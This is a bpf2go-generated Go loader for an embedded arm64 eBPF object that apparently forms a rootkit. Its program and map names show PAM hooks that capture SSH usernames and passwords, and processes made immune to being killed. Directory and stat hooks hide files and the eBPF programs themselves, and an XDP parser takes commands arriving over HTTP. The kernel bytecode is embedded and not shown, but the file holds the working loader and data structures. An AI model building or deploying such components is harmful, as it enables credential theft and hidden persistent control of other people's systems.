// Code generated by bpf2go; DO NOT EDIT.
//go:build arm64

package main

import (
	"bytes"
	_ "embed"
	"fmt"
	"io"

	"github.com/cilium/ebpf"
)

type ebpfEvent struct {
	Type    uint8
	_       [3]byte
	Pid     uint32
	Comm    [16]uint8
	Success bool
	_       [3]byte
}

type ebpfHttpCmd struct {
	Type uint8
	Cmd  [100]uint8
}

type ebpfSshUserPass struct {
	Type     uint8
	Username [30]uint8
	Password [50]uint8
}

// loadEbpf returns the embedded CollectionSpec for ebpf.
func loadEbpf() (*ebpf.CollectionSpec, error) {
	reader := bytes.NewReader(_EbpfBytes)
	spec, err := ebpf.LoadCollectionSpecFromReader(reader)
	if err != nil {
		return nil, fmt.Errorf("can't load ebpf: %w", err)
	}

	return spec, err
}

// loadEbpfObjects loads ebpf and converts it into a struct.
//
// The following types are suitable as obj argument:
//
//	*ebpfObjects
//	*ebpfPrograms
//	*ebpfMaps
//
// See ebpf.CollectionSpec.LoadAndAssign documentation for details.
func loadEbpfObjects(obj interface{}, opts *ebpf.CollectionOptions) error {
	spec, err := loadEbpf()
	if err != nil {
		return err
	}

	return spec.LoadAndAssign(obj, opts)
}

// ebpfSpecs contains maps and programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type ebpfSpecs struct {
	ebpfProgramSpecs
	ebpfMapSpecs
}

// ebpfSpecs contains programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type ebpfProgramSpecs struct {
	AvoidKill             *ebpf.ProgramSpec `ebpf:"avoidKill"`
	HandleAuthtokEnter    *ebpf.ProgramSpec `ebpf:"handleAuthtokEnter"`
	HandleAuthtokExit     *ebpf.ProgramSpec `ebpf:"handleAuthtokExit"`
	HandleBpfEnter        *ebpf.ProgramSpec `ebpf:"handleBpfEnter"`
	HandleBpfExit         *ebpf.ProgramSpec `ebpf:"handleBpfExit"`
	HandleCloseExit       *ebpf.ProgramSpec `ebpf:"handleCloseExit"`
	HandleGetdentsEnter   *ebpf.ProgramSpec `ebpf:"handleGetdentsEnter"`
	HandleGetdentsExit    *ebpf.ProgramSpec `ebpf:"handleGetdentsExit"`
	HandleKillExit        *ebpf.ProgramSpec `ebpf:"handleKillExit"`
	HandleNewFstatatEnter *ebpf.ProgramSpec `ebpf:"handleNewFstatatEnter"`
	HandleNewFstatatExit  *ebpf.ProgramSpec `ebpf:"handleNewFstatatExit"`
	HandleOpenatEnter     *ebpf.ProgramSpec `ebpf:"handleOpenatEnter"`
	HandleOpenatExit      *ebpf.ProgramSpec `ebpf:"handleOpenatExit"`
	HandleReadEnter       *ebpf.ProgramSpec `ebpf:"handleReadEnter"`
	HandleReadExit        *ebpf.ProgramSpec `ebpf:"handleReadExit"`
	TcEgress              *ebpf.ProgramSpec `ebpf:"tcEgress"`
	XdpHttpParser         *ebpf.ProgramSpec `ebpf:"xdpHttpParser"`
}

// ebpfMapSpecs contains maps before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type ebpfMapSpecs struct {
	AuthtokMap      *ebpf.MapSpec `ebpf:"authtokMap"`
	AvoidKillPidMap *ebpf.MapSpec `ebpf:"avoidKillPidMap"`
	BufMap          *ebpf.MapSpec `ebpf:"bufMap"`
	BytesReadMap    *ebpf.MapSpec `ebpf:"bytesReadMap"`
	CmdResMap       *ebpf.MapSpec `ebpf:"cmdResMap"`
	FdMap           *ebpf.MapSpec `ebpf:"fdMap"`
	HideEbpfMap     *ebpf.MapSpec `ebpf:"hideEbpfMap"`
	PamHandleMap    *ebpf.MapSpec `ebpf:"pamHandleMap"`
	PatchMap        *ebpf.MapSpec `ebpf:"patchMap"`
	PidIndexMap     *ebpf.MapSpec `ebpf:"pidIndexMap"`
	ProgArrayMap    *ebpf.MapSpec `ebpf:"progArrayMap"`
	Rb              *ebpf.MapSpec `ebpf:"rb"`
	ReadBufMap      *ebpf.MapSpec `ebpf:"readBufMap"`
	SeqMap          *ebpf.MapSpec `ebpf:"seqMap"`
	StatBufMap      *ebpf.MapSpec `ebpf:"statBufMap"`
	StatFileTypeMap *ebpf.MapSpec `ebpf:"statFileTypeMap"`
}

// ebpfObjects contains all objects after they have been loaded into the kernel.
//
// It can be passed to loadEbpfObjects or ebpf.CollectionSpec.LoadAndAssign.
type ebpfObjects struct {
	ebpfPrograms
	ebpfMaps
}

func (o *ebpfObjects) Close() error {
	return _EbpfClose(
		&o.ebpfPrograms,
		&o.ebpfMaps,
	)
}

// ebpfMaps contains all maps after they have been loaded into the kernel.
//
// It can be passed to loadEbpfObjects or ebpf.CollectionSpec.LoadAndAssign.
type ebpfMaps struct {
	AuthtokMap      *ebpf.Map `ebpf:"authtokMap"`
	AvoidKillPidMap *ebpf.Map `ebpf:"avoidKillPidMap"`
	BufMap          *ebpf.Map `ebpf:"bufMap"`
	BytesReadMap    *ebpf.Map `ebpf:"bytesReadMap"`
	CmdResMap       *ebpf.Map `ebpf:"cmdResMap"`
	FdMap           *ebpf.Map `ebpf:"fdMap"`
	HideEbpfMap     *ebpf.Map `ebpf:"hideEbpfMap"`
	PamHandleMap    *ebpf.Map `ebpf:"pamHandleMap"`
	PatchMap        *ebpf.Map `ebpf:"patchMap"`
	PidIndexMap     *ebpf.Map `ebpf:"pidIndexMap"`
	ProgArrayMap    *ebpf.Map `ebpf:"progArrayMap"`
	Rb              *ebpf.Map `ebpf:"rb"`
	ReadBufMap      *ebpf.Map `ebpf:"readBufMap"`
	SeqMap          *ebpf.Map `ebpf:"seqMap"`
	StatBufMap      *ebpf.Map `ebpf:"statBufMap"`
	StatFileTypeMap *ebpf.Map `ebpf:"statFileTypeMap"`
}

func (m *ebpfMaps) Close() error {
	return _EbpfClose(
		m.AuthtokMap,
		m.AvoidKillPidMap,
		m.BufMap,
		m.BytesReadMap,
		m.CmdResMap,
		m.FdMap,
		m.HideEbpfMap,
		m.PamHandleMap,
		m.PatchMap,
		m.PidIndexMap,
		m.ProgArrayMap,
		m.Rb,
		m.ReadBufMap,
		m.SeqMap,
		m.StatBufMap,
		m.StatFileTypeMap,
	)
}

// ebpfPrograms contains all programs after they have been loaded into the kernel.
//
// It can be passed to loadEbpfObjects or ebpf.CollectionSpec.LoadAndAssign.
type ebpfPrograms struct {
	AvoidKill             *ebpf.Program `ebpf:"avoidKill"`
	HandleAuthtokEnter    *ebpf.Program `ebpf:"handleAuthtokEnter"`
	HandleAuthtokExit     *ebpf.Program `ebpf:"handleAuthtokExit"`
	HandleBpfEnter        *ebpf.Program `ebpf:"handleBpfEnter"`
	HandleBpfExit         *ebpf.Program `ebpf:"handleBpfExit"`
	HandleCloseExit       *ebpf.Program `ebpf:"handleCloseExit"`
	HandleGetdentsEnter   *ebpf.Program `ebpf:"handleGetdentsEnter"`
	HandleGetdentsExit    *ebpf.Program `ebpf:"handleGetdentsExit"`
	HandleKillExit        *ebpf.Program `ebpf:"handleKillExit"`
	HandleNewFstatatEnter *ebpf.Program `ebpf:"handleNewFstatatEnter"`
	HandleNewFstatatExit  *ebpf.Program `ebpf:"handleNewFstatatExit"`
	HandleOpenatEnter     *ebpf.Program `ebpf:"handleOpenatEnter"`
	HandleOpenatExit      *ebpf.Program `ebpf:"handleOpenatExit"`
	HandleReadEnter       *ebpf.Program `ebpf:"handleReadEnter"`
	HandleReadExit        *ebpf.Program `ebpf:"handleReadExit"`
	TcEgress              *ebpf.Program `ebpf:"tcEgress"`
	XdpHttpParser         *ebpf.Program `ebpf:"xdpHttpParser"`
}

func (p *ebpfPrograms) Close() error {
	return _EbpfClose(
		p.AvoidKill,
		p.HandleAuthtokEnter,
		p.HandleAuthtokExit,
		p.HandleBpfEnter,
		p.HandleBpfExit,
		p.HandleCloseExit,
		p.HandleGetdentsEnter,
		p.HandleGetdentsExit,
		p.HandleKillExit,
		p.HandleNewFstatatEnter,
		p.HandleNewFstatatExit,
		p.HandleOpenatEnter,
		p.HandleOpenatExit,
		p.HandleReadEnter,
		p.HandleReadExit,
		p.TcEgress,
		p.XdpHttpParser,
	)
}

func _EbpfClose(closers ...io.Closer) error {
	for _, closer := range closers {
		if err := closer.Close(); err != nil {
			return err
		}
	}
	return nil
}

// Do not access this directly.
//
//go:embed ebpf_bpfel_arm64.o
var _EbpfBytes []byte
